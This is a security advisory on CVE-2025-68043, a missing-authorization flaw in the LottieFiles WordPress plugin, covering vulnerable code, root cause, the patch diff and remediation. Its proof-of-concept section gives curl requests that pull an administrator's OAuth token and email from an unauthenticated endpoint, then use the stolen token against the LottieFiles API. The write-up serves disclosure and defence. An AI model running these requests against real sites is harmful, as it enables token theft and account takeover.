CVE-2025-68043: Missing Authorization in LottieFiles Plugin (CVSS 9.8)

CVE-2025-68043 is a CVSS 9.8 Critical Missing Authorization vulnerability in the LottieFiles WordPress plugin affecting all versions up to and including 3.0.0. All three REST API endpoints exposed by the plugin have no authentication guard whatsoever, and when the administrator has the “Share with others” feature enabled, any unauthenticated attacker on the internet can retrieve the full admin configuration — including the LottieFiles OAuth access token, email address, name, and username — with a single unauthenticated HTTP GET request. Possession of that token gives the attacker complete control over the connected LottieFiles account.

Vulnerability Summary

---

Description

The LottieFiles plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.

Specifically, all three REST API endpoints registered by the plugin at /wp-json/lottiefiles/v1/settings/ (GET, POST, DELETE) use 'permission_callback' => '__return_true', meaning no authentication or authorization is enforced. The most critical consequence is that an unauthenticated attacker can read the stored LottieFiles admin configuration — which includes the administrator’s LottieFiles OAuth access token, email address, name, and username — when the shareWithOthers feature has been enabled by the site administrator. With the stolen access token, an attacker gains full control over the connected LottieFiles account.

---

Technical Analysis

Vulnerable Code Path

File: src/common.php (lines 1–138, version 3.0.0)

The plugin registers a REST API route inside the rest_api_init action:

// src/common.php — lines 117–137 (vulnerable version 3.0.0)
register_rest_route('lottiefiles/v1', '/settings/', [
    // GET — fetch stored LottieFiles config
    [
        'methods'             => ['GET'],
        'callback'            => 'lottiefiles_getConfig',
        'permission_callback' => '__return_true',   // ← NO AUTH CHECK
    ],
    // POST — update stored LottieFiles config
    [
        'methods'             => ['POST'],
        'callback'            => 'lottiefiles_addOption',
        'permission_callback' => '__return_true',   // ← NO AUTH CHECK
    ],
    // DELETE — delete stored LottieFiles config
    [
        'methods'             => ['DELETE'],
        'callback'            => 'lottiefiles_deleteConfig',
        'permission_callback' => '__return_true',   // ← NO AUTH CHECK
    ]
]);

__return_true is a WordPress built-in that always returns true, effectively disabling all access control for the endpoint.

Execution path for GET (the primary exploit path)

1. Attacker sends GET /wp-json/lottiefiles/v1/settings/ — no authentication required.
2. WordPress routes the request to lottiefiles_getConfig().
3. lottiefiles_getConfig() reads get_option('lottie_config_admin') — the WordPress option where the plugin stores the administrator’s LottieFiles credentials (access token, email, name, username, and settings).
4. Because the attacker is unauthenticated, is_admin_user() → current_user_can('manage_options') → false, so execution falls into the else branch and calls lottiefiles_userData(json_decode($tokenGlobal)).
5. Inside lottiefiles_userData():
   • get_user_meta(0, 'lottie_config_-0') returns empty (no meta for user 0).
   • The code checks $tokenGlobal->shareWithOthers: if the admin has enabled “share with others”, the full admin config object — including the accessToken — is returned directly to the unauthenticated caller.

// src/common.php — lottiefiles_userData() (vulnerable version 3.0.0)
function lottiefiles_userData($tokenGlobal)
{
    $metaKey = get_meta_key();
    $userID  = get_current_user_id();       // = 0 for unauthenticated
    $userMeta = get_user_meta($userID, $metaKey);
    if ($userMeta) {
        // ...
    } else {
        if ($tokenGlobal->shareWithOthers) {    // ← if admin enabled this setting…
            $tokenGlobal->is_block_logged_in = true;
            return $tokenGlobal;                // ← …full admin config is returned!
        } else {
            $data = ['is_block_logged_in' => false];
            return $data;
        }
    }
}

The stored admin config is defined by IHNResponseProps (TypeScript interface in src/admin/settings/reducer/interfaces.ts) and contains:

interface IUserDataProps {
    accessToken: string;   // LottieFiles OAuth access token
    avatarUrl:   string;
    email:       string;   // Admin's email address
    id:          number;
    name:        string;
    username:    string;
}

Root Cause

All three REST API endpoints (GET, POST, DELETE) at /wp-json/lottiefiles/v1/settings/ use 'permission_callback' => '__return_true'. This WordPress API idiom explicitly disables authorization, granting access to any caller — authenticated or not — on the public internet.

There is no nonce check, no cookie check, no is_user_logged_in() guard, and no capability check prior to the callback executing.

Why Existing Controls Failed

The plugin contains an internal helper is_admin_user() (calling current_user_can('manage_options')) and conditional logic inside each callback to differentiate admin from non-admin behaviour. However, these internal checks govern what data to return or write, not whether the request is authorized at all. Because permission_callback is __return_true, WordPress never rejects the unauthenticated request; execution always reaches the callback, and the callback’s internal logic — which was designed for logged-in users — leaks admin data through the shareWithOthers code path.

Attack Impact

An unauthenticated attacker who exploits the GET endpoint against a site where shareWithOthers is enabled can:

1. Steal the LottieFiles OAuth accessToken — granting full API access to the connected LottieFiles account (read, write, delete all animations and projects).
2. Harvest PII — the administrator’s email address, display name, and LottieFiles username are exposed in the JSON response.
3. Account takeover of LottieFiles account — with a valid access token the attacker can manage all LottieFiles assets, replace animations site-wide, or delete the entire library, achieving Confidentiality: High / Integrity: High / Availability: High (CVSS 9.8).

---

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

• WordPress site with the lottiefiles plugin installed and activated (version <= 3.0.0).
• The site administrator has connected their LottieFiles account through the plugin settings page and enabled the “Share with others” option (i.e. shareWithOthers: true is stored in the lottie_config_admin WordPress option).

Step-by-Step Reproduction

Step 1: Probe the endpoint unauthenticated

Send an unauthenticated GET request to the settings REST endpoint.

curl -s "https://TARGET_SITE/wp-json/lottiefiles/v1/settings/" | python3 -m json.tool

Step 2: Observe the response

If the administrator has the shareWithOthers feature enabled, the response will contain the full admin configuration:

{
    "accessToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
    "avatarUrl": "https://lottiefiles.com/cdn/avatars/admin.png",
    "email": "admin@example.com",
    "id": 123456,
    "name": "Site Administrator",
    "username": "adminuser",
    "copyLottieToMedia": false,
    "isAdmin": true,
    "shareWithOthers": true,
    "enableCdn": false,
    "is_block_logged_in": true
}

Step 3: Use the stolen access token against the LottieFiles API

With the accessToken value from the response, authenticate to the LottieFiles API:

# List all files in the attacker's now-accessible LottieFiles account
curl -s "https://graphql.lottiefiles.com/2022-08/graphql" \
  -H "Authorization: Bearer STOLEN_ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ userCurrent { name email } }"}'

Expected Result

The attacker obtains a valid LottieFiles OAuth access token belonging to the site administrator, along with the administrator’s email address and account metadata. They can now perform any action on the LottieFiles account that the administrator can — reading private animations, modifying or deleting published animations, or locking the legitimate administrator out.

Verification

Confirm exploitation succeeded by checking the LottieFiles API response to the authenticated query above returns the site administrator’s name and email, or by verifying that operations (listing/modifying animations) succeed using only the stolen token — with no WordPress credentials involved.

---

Patch Analysis

What Changed

Fix Explanation

1. Proper permission_callback values (root cause fix)

The core fix is in src/common.php:

// NEW — GET requires a logged-in user
function lottiefiles_settings_read_permission()
{
    return is_user_logged_in();
}

// NEW — POST/DELETE require edit_posts capability (Contributor+)
function lottiefiles_settings_write_permission()
{
    return current_user_can('edit_posts');
}

register_rest_route('lottiefiles/v1', '/settings/', [
    [
        'methods'             => WP_REST_Server::READABLE,
        'callback'            => 'lottiefiles_getConfig',
        'permission_callback' => 'lottiefiles_settings_read_permission', // ← FIXED
    ],
    [
        'methods'             => WP_REST_Server::CREATABLE,
        'callback'            => 'lottiefiles_addOption',
        'permission_callback' => 'lottiefiles_settings_write_permission', // ← FIXED
    ],
    [
        'methods'             => WP_REST_Server::DELETABLE,
        'callback'            => 'lottiefiles_deleteConfig',
        'permission_callback' => 'lottiefiles_settings_write_permission', // ← FIXED
    ]
]);

2. Admin-token leakage path removed

lottiefiles_userData() no longer accepts the admin token as a parameter and the shareWithOthers fallback that returned the admin config is removed entirely:

// PATCHED — never returns admin token to non-admin callers
function lottiefiles_userData()
{
    $metaKey  = lottiefiles_get_meta_key();
    $userID   = get_current_user_id();
    $userMeta = get_user_meta($userID, $metaKey);
    if ($userMeta) {
        $responseData = json_decode(array_values($userMeta)[0]);
        $responseData->is_block_logged_in = true;
        $responseData->switchAccount = false;   // no longer reads admin option
        return $responseData;
    } else {
        $data = ['is_block_logged_in' => false];
        return $data;    // always returns false — no admin fallback
    }
}

The fix is complete for the reported vulnerability. The shareWithOthers feature is also effectively neutered in the patched version.

Code Diff (Key Changes)

-  'permission_callback' => '__return_true',
+  'permission_callback' => 'lottiefiles_settings_read_permission',

-  'permission_callback' => '__return_true',
+  'permission_callback' => 'lottiefiles_settings_write_permission',

-  'permission_callback' => '__return_true',
+  'permission_callback' => 'lottiefiles_settings_write_permission',

+function lottiefiles_settings_read_permission()
+{
+    return is_user_logged_in();
+}
+
+function lottiefiles_settings_write_permission()
+{
+    return current_user_can('edit_posts');
+}

-  function lottiefiles_userData($tokenGlobal)
+  function lottiefiles_userData()
   {
       ...
-      if ($tokenGlobal->shareWithOthers) {
-          $tokenGlobal->is_block_logged_in = true;
-          return $tokenGlobal;    // leaked admin token here
-      } else {
-          $data = ['is_block_logged_in' => false];
-          return $data;
-      }
+      $data = ['is_block_logged_in' => false];
+      return $data;
   }

---

Timeline

---

Remediation

Update the lottiefiles plugin to version 3.1.0 or later immediately. If immediate updating is not possible, deactivate the plugin until the update can be applied.

---

References

1. Wordfence Advisory — LottieFiles <= 3.0.0 - Missing Authorization
2. Patchstack VDP — Broken Access Control Vulnerability
3. SVN Changeset — 3.0.0 → 3.1.0
4. CVE-2025-68043 at MITRE